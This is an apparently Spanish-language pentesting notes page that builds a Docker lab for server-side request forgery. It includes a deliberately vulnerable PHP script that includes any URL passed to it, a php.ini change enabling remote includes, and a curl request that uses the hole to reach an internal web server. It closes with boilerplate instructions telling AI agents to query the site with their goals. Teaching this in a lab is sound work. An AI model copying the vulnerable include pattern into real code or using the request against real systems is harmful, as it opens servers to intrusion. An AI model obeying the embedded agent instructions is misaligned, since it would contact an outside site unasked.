> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF con Curl

## Instalación del segundo escenario (vulnerabilidad SSRF)

* Eliminar contenedores anteriores:

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* Crear tres contenedores (**postproducción, web pública y atacante**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # para asociar la dirección IP

```

Servidor web de la máquina (**postproducción**): ![](/files/ca649a2fcbb9dec9caed07b1e49832c883a2df9f)

```bash
apt install apache2 php nano -y
service apache2 start

```

* En **/var/www/html**, cree un `utility.php` archivo:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Listando el contenido del sitio web desde " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] No se han proporcionado valores al parámetro URL/n/n";
}
?>

```

* En este caso, no **lo renderiza** correctamente: ![](/files/a0b9cf8d0f85da34430197de52e63b27fbd3d811)
* Para ello, debe modificar este archivo: **"/etc/php/8.1/apache2/php.ini"** estableciendo \_allow/\_url/*include* a on: ![](/files/6488a4471086d9c614a22c0188e4aa50ee3281a0)
* Reinicie el servicio **apache2**:

```bash
service apache2 restart

```

* Crea un **login.html** archivo en `/tmp/` que simula una página de inicio de sesión en el sitio público:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Página de inicio de sesión</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>Formulario de inicio de sesión de estudiante (PRO)</h1></center>
    <form>
        <div class="container">
            <label>Nombre de usuario:</label>
            <input type="text" placeholder="Ingrese el nombre de usuario" name="username" required>
            <label>Contraseña:</label>
            <input type="password" placeholder="Ingrese la contraseña" name="password" required>
            <button type="submit">Iniciar sesión</button>
            <input type="checkbox" checked="checked"> Recuérdame
            <button type="button" class="cancelbtn">Cancelar</button>
            Olvidó <a href="#">la contraseña?</a>

    </form>
</body>
</html>

```

* Ahora configure la **Postproducción** máquina:

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/6e88de8cdbaf7b3b5849a43fa856c57fa20929a6)

```bash
apt install nano python3 curl -y

```

* Crear un **HTML** archivo en `/tmp` con el contenido a continuación. No debe ser visible fuera de la red interna: `No debería poder ver este contenido porque no está expuesto externamente y corresponde a un servicio web alojado en una máquina dentro de la red interna de la empresa.`
* Creación de un servidor web con **Python3** en el puerto 7878:

```bash
python3 -m http.server 7878

```

* Por último, cree el **atacante** máquina:

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/633663fedeea0c54c32af23726cc6ba010592651)

Diagrama técnico para entender el segundo escenario (**Hay un sitio web en una máquina Linux en el puerto 8089 que solo es visible desde la red interna**):

<figure><img src="/files/b305fc334287a095f56cbdc4c7706a9757745d5f" alt="" width="563"><figcaption></figcaption></figure>

Desde el **atacante** contenedor, usamos curl para acceder a la máquina que ejecuta el servidor web, pero no funciona:

<figure><img src="/files/f21bfe1f19eb8304da54dcdf27266e79eb839605" alt=""><figcaption></figcaption></figure>

Pero si usamos la **SSRF** técnica, podemos acceder al archivo oculto:

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/df88e46b7f3b70837d83c8a594dd6eefb98cb988" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
